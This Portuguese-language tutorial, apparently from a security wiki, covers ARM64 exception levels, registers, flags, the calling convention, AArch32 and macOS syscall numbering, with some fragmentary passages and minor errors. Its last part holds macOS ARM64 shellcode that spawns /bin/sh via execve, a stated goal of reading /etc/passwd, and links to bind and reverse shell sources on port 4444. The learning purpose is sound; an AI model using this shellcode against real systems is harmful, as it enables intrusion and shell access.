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Na arquitetura ARMv8, os níveis de execução, conhecidos como Níveis de Exceção (ELs), definem o nível de privilégio e as capacidades do ambiente de execução. Existem quatro níveis de exceção, variando de EL0 a EL3, cada um servindo a um propósito diferente:
- A maioria dos kernels de sistemas operacionais é executada neste nível.
- EL1 tem mais privilégios que EL0 e pode acessar recursos do sistema, mas com algumas restrições para garantir a integridade do sistema.
3.**EL2 - Modo Hypervisor**:
- Este nível é usado para virtualização. Um hipervisor em execução em EL2 pode gerenciar vários sistemas operacionais (cada um em seu próprio EL1) em um mesmo hardware físico.
- EL2 fornece recursos para isolamento e controle dos ambientes virtualizados.
O uso desses níveis permite gerenciar de forma estruturada e segura diferentes aspectos do sistema, desde aplicativos de usuário até o software do sistema mais privilegiado. A abordagem da ARMv8 aos níveis de privilégio ajuda a isolar efetivamente diferentes componentes do sistema, aumentando assim a segurança e robustez do sistema.
ARM64 possui **31 registradores de propósito geral**, rotulados de `x0` a `x30`. Cada um pode armazenar um valor de **64 bits** (8 bytes). Para operações que requerem apenas valores de 32 bits, os mesmos registradores podem ser acessados em um modo de 32 bits usando os nomes w0 a w30.
4.**`x16`** e **`x17`** - **Registradores de Chamada Intra-procedural**. Registradores temporários para valores imediatos. Também são usados para chamadas de função indiretas e stubs PLT (Procedure Linkage Table).
- **`x16`** é usado como o **número de chamada do sistema** para a instrução **`svc`** no **macOS**.
5.**`x18`** - **Registrador de Plataforma**. Pode ser usado como um registrador de propósito geral, mas em algumas plataformas, este registrador é reservado para usos específicos da plataforma: Ponteiro para bloco de ambiente de thread atual no Windows, ou para apontar para a estrutura de tarefa atualmente **em execução no kernel Linux**.
6.**`x19`** a **`x28`** - Estes são registradores salvos pelo chamador. Uma função deve preservar os valores desses registradores para seu chamador, então eles são armazenados na pilha e recuperados antes de retornar ao chamador.
7.**`x29`** - **Ponteiro de Frame** para acompanhar o frame da pilha. Quando um novo frame de pilha é criado porque uma função é chamada, o registro **`x29`** é **armazenado na pilha** e o endereço do **novo** ponteiro de frame (endereço **`sp`**) é **armazenado neste registro**.
- Este registro também pode ser usado como um **registro de propósito geral**, embora geralmente seja usado como referência para **variáveis locais**.
8.**`x30`** ou **`lr`** - **Registrador de Link**. Mantém o **endereço de retorno** quando uma instrução `BL` (Branch with Link) ou `BLR` (Branch with Link to Register) é executada, armazenando o valor de **`pc`** neste registro.
- Também pode ser usado como qualquer outro registro.
9.**`sp`** - **Ponteiro de Pilha**, usado para acompanhar o topo da pilha.
- o valor de **`sp`** deve sempre ser mantido pelo menos em um **alinhamento de quadword** ou uma exceção de alinhamento pode ocorrer.
10.**`pc`** - **Contador de Programa**, que aponta para a próxima instrução. Este registro só pode ser atualizado por meio de gerações de exceção, retornos de exceção e branches. As únicas instruções comuns que podem ler este registro são instruções de branch com link (BL, BLR) para armazenar o endereço de **`pc`** no **`lr`** (Registrador de Link).
11.**`xzr`** - **Registrador Zero**. Também chamado de **`wzr`** em sua forma de registro de **32** bits. Pode ser usado para obter facilmente o valor zero (operação comum) ou para realizar comparações usando **`subs`** como **`subs XZR, Xn, #10`** armazenando os dados resultantes em nenhum lugar (em **`xzr`**).
Além disso, existem outros **32 registradores de comprimento de 128 bits** que podem ser usados em operações otimizadas de dados múltiplos de instrução única (SIMD) e para realizar aritmética de ponto flutuante. Eles são chamados de registradores Vn, embora também possam operar em **64** bits, **32** bits, **16** bits e **8** bits e, nesse caso, são chamados de **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** e **`Bn`**.
**Existem centenas de registradores do sistema**, também chamados de registradores de propósito especial (SPRs), que são usados para **monitorar** e **controlar** o **comportamento dos processadores**.\
Eles só podem ser lidos ou definidos usando as instruções especiais dedicadas **`mrs`** e **`msr`**.
Os registradores especiais **`TPIDR_EL0`** e **`TPIDDR_EL0`** são comumente encontrados durante engenharia reversa. O sufixo `EL0` indica a **exceção mínima** da qual o registro pode ser acessado (neste caso, EL0 é a exceção regular (privilégio) nível em que programas regulares são executados).\
Eles são frequentemente usados para armazenar o **endereço base da região de armazenamento local de thread** na memória. Geralmente, o primeiro é legível e gravável para programas em execução em EL0, mas o segundo pode ser lido em EL0 e gravado em EL1 (como kernel).
**PSTATE** contém vários componentes de processo serializados no registrador especial visível pelo sistema operacional **`SPSR_ELx`**, sendo X o **nível de permissão da exceção acionada** (isso permite recuperar o estado do processo quando a exceção termina).\
- As bandeiras de condição **`N`**, **`Z`**, **`C`** e **`V`**:
- **`N`** significa que a operação resultou em um número negativo
- **`Z`** significa que a operação resultou em zero
- **`C`** significa que a operação foi realizada
- **`V`** significa que a operação resultou em um estouro assinado:
- A soma de dois números positivos resulta em um número negativo.
- A soma de dois números negativos resulta em um número positivo.
- Na subtração, quando um número negativo grande é subtraído de um número positivo menor (ou vice-versa), e o resultado não pode ser representado dentro da faixa do tamanho de bit fornecido.
Nem todas as instruções atualizam essas bandeiras. Algumas como **`CMP`** ou **`TST`** o fazem, e outras que têm um sufixo **s** como **`ADDS`** também o fazem.
- A **bandeira de largura de registro atual (`nRW`)**: Se a bandeira mantiver o valor 0, o programa será executado no estado de execução AArch64 quando retomado.
- O **Nível de Exceção Atual (`EL`)**: Um programa regular em execução em EL0 terá o valor 0
- A bandeira de **passo único (`SS`)**: Usada por depuradores para passo único, definindo a bandeira SS como 1 dentro de **`SPSR_ELx`** por meio de uma exceção. O programa executará um passo e emitirá uma exceção de passo único.
- A bandeira de estado de exceção ilegal (`IL`): É usada para marcar quando um software privilegiado executa uma transferência de nível de exceção inválida, essa bandeira é definida como 1 e o processador aciona uma exceção de estado ilegal.
- As bandeiras **`DAIF`**: Essas bandeiras permitem que um programa privilegiado mascare seletivamente certas exceções externas.
- Se **`A`** for 1, significa que **abortos assíncronos** serão acionados. O **`I`** configura para responder a **Solicitações de Interrupção de Hardware Externas** (IRQs). e o F está relacionado a **Solicitações de Interrupção Rápida** (FIRs).
- As bandeiras de seleção de ponteiro de pilha (`SPS`): Programas privilegiados em execução em EL1 e acima podem alternar entre usar seu próprio registrador de ponteiro de pilha e o do modelo de usuário (por exemplo, entre `SP_EL1` e `EL0`). Essa troca é feita escrevendo no registrador especial **`SPSel`**. Isso não pode ser feito a partir de EL0.
A convenção de chamada ARM64 especifica que os **primeiros oito parâmetros** de uma função são passados nos registradores **`x0` a `x7`**. **Parâmetros adicionais** são passados na **pilha**. O valor de retorno é passado de volta no registrador **`x0`**, ou também em **`x1`** se for de **128 bits**. Os registradores **`x19`** a **`x30`** e **`sp`** devem ser **preservados** em chamadas de função.
Ao ler uma função em assembly, procure o **prólogo e epílogo da função**. O **prólogo** geralmente envolve **salvar o ponteiro de frame (`x29`)**, **configurar um novo ponteiro de frame** e **alocar espaço na pilha**. O **epílogo** geralmente envolve **restaurar o ponteiro de frame salvo** e **retornar** da função.
Swift tem sua própria **convenção de chamada** que pode ser encontrada em [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
As instruções ARM64 geralmente têm o **formato `opcode dst, src1, src2`**, onde **`opcode`** é a **operação** a ser realizada (como `add`, `sub`, `mov`, etc.), **`dst`** é o **registrador de destino** onde o resultado será armazenado, e **`src1`** e **`src2`** são os **registradores de origem**. Valores imediatos também podem ser usados no lugar dos registradores de origem.
- **`mov`**: **Mover** um valor de um **registrador** para outro.
- Exemplo: `mov x0, x1` — Isso move o valor de `x1` para `x0`.
- **`ldr`**: **Carregar** um valor da **memória** para um **registrador**.
- Exemplo: `ldr x0, [x1]` — Isso carrega um valor da localização de memória apontada por `x1` para `x0`.
- **`str`**: **Armazenar** um valor de um **registrador** na **memória**.
- Exemplo: `str x0, [x1]` — Isso armazena o valor em `x0` na localização de memória apontada por `x1`.
- **`ldp`**: **Carregar Par de Registradores**. Esta instrução **carrega dois registradores** de **locais de memória consecutivos**. O endereço de memória é tipicamente formado adicionando um deslocamento ao valor em outro registrador.
- Exemplo: `ldp x0, x1, [x2]` — Isso carrega `x0` e `x1` das localizações de memória em `x2` e `x2 + 8`, respectivamente.
- **`stp`**: **Armazenar Par de Registradores**. Esta instrução **armazena dois registradores** em **locais de memória consecutivos**. O endereço de memória é tipicamente formado adicionando um deslocamento ao valor em outro registrador.
- Exemplo: `stp x0, x1, [x2]` — Isso armazena `x0` e `x1` nas localizações de memória em `x2` e `x2 + 8`, respectivamente.
- **`add`**: **Adicionar** os valores de dois registradores e armazenar o resultado em um registrador.
O Armv8-A suporta a execução de programas de 32 bits. **AArch32** pode ser executado em um dos **dois conjuntos de instruções**: **`A32`** e **`T32`** e pode alternar entre eles via **`interworking`**.\
Programas **privilegiados** de 64 bits podem agendar a **execução de programas de 32 bits** executando uma transferência de nível de exceção para o 32 bits de menor privilégio.\
Observe que a transição de 64 bits para 32 bits ocorre com uma redução do nível de exceção (por exemplo, um programa de 64 bits em EL1 acionando um programa em EL0). Isso é feito configurando o **bit 4 do** registro especial **`SPSR_ELx`** **para 1** quando o thread do processo `AArch32` está pronto para ser executado e o restante de `SPSR_ELx` armazena os programas **`AArch32`** CPSR. Em seguida, o processo privilegiado chama a instrução **`ERET`** para que o processador faça a transição para **`AArch32`** entrando em A32 ou T32 dependendo do CPSR**.**
O **`interworking`** ocorre usando os bits J e T do CPSR. `J=0` e `T=0` significa **`A32`** e `J=0` e `T=1` significa **T32**. Isso basicamente se traduz em definir o **bit mais baixo como 1** para indicar que o conjunto de instruções é T32.\
Isso é configurado durante as **instruções de ramificação de interworking**, mas também pode ser configurado diretamente com outras instruções quando o PC é definido como o registro de destino. Exemplo:
Além disso, os registros são copiados em **registros bancários**. Que são locais que armazenam os valores dos registros permitindo realizar **trocas de contexto rápidas** no tratamento de exceções e operações privilegiadas para evitar a necessidade de salvar e restaurar manualmente os registros toda vez. Isso é feito **salvando o estado do processador do `CPSR` para o `SPSR`** do modo do processador para o qual a exceção é tomada. No retorno da exceção, o **`CPSR`** é restaurado do **`SPSR`**.
No AArch32, o CPSR funciona de forma semelhante ao **`PSTATE`** no AArch64 e também é armazenado em **`SPSR_ELx`** quando uma exceção é tomada para restaurar posteriormente a execução:
- As flags **`N`**, **`Z`**, **`C`**, **`V`** (assim como no AArch64)
- A flag **`Q`**: É definida como 1 sempre que ocorre **saturação de inteiro** durante a execução de uma instrução aritmética de saturação especializada. Uma vez definida como **`1`**, ela manterá o valor até ser manualmente definida como 0. Além disso, não há nenhuma instrução que verifique seu valor implicitamente, deve ser feito lendo-o manualmente.
- Flags **`GE`** (Maior ou igual): É usada em operações SIMD (Instrução Única, Dados Múltiplos), como "adição paralela" e "subtração paralela". Essas operações permitem processar vários pontos de dados em uma única instrução.
Por exemplo, a instrução **`UADD8`** **adiciona quatro pares de bytes** (de dois operandos de 32 bits) em paralelo e armazena os resultados em um registro de 32 bits. Em seguida, **define as flags `GE` no `APSR`** com base nesses resultados. Cada flag GE corresponde a uma das adições de byte, indicando se a adição para esse par de bytes **transbordou**.
- Os bits **`J`** e **`T`**: **`J`** deve ser 0 e se **`T`** for 0, o conjunto de instruções A32 é usado e, se for 1, o T32 é usado.
- Registro de Estado de Bloco IT (`ITSTATE`): São os bits de 10 a 15 e 25 a 26. Eles armazenam condições para instruções dentro de um grupo prefixado por **`IT`**.
- Bit **`E`**: Indica a **ordem dos bytes**.
- Bits de Modo e Máscara de Exceção (0-4): Determinam o estado de execução atual. O quinto indica se o programa é executado como 32 bits (1) ou 64 bits (0). Os outros 4 representam o **modo de exceção atualmente em uso** (quando ocorre uma exceção e está sendo tratada). O número definido indica a **prioridade atual** no caso de outra exceção ser acionada enquanto esta está sendo tratada.
- **`AIF`**: Certas exceções podem ser desativadas usando os bits **`A`**, `I`, `F`. Se **`A`** for 1, significa que **abortos assíncronos** serão acionados. O **`I`** configura para responder a **Solicitações de Interrupção de Hardware** externas (IRQs). e o F está relacionado a **Solicitações de Interrupção Rápida** (FIRs).
Confira [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). As chamadas de sistema BSD terão **x16 > 0**.
Confira [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html). As armadilhas Mach terão **x16 < 0**, então você precisa chamar os números da lista anterior com um **sinal de menos**: **`_kernelrpc_mach_vm_allocate_trap`** é **`-10`**.
Às vezes é mais fácil verificar o código **descompilado** de **`libsystem_kernel.dylib`** do que verificar o **código-fonte** porque o código de várias chamadas de sistema (BSD e Mach) é gerado por meio de scripts (verifique os comentários no código-fonte), enquanto na dylib você pode encontrar o que está sendo chamado.
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
; We are going to build the string "/bin/sh" and place it on the stack.
mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.
str x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.
; Prepare arguments for the execve syscall.
mov x1, #8 ; Set x1 to 8.
sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
; Make the syscall.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
O objetivo é executar `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, então o segundo argumento (x1) é um array de parâmetros (o que na memória significa uma pilha de endereços).
Shell de ligação em [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) na **porta 4444**
De [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s), revshell para **127.0.0.1:4444**
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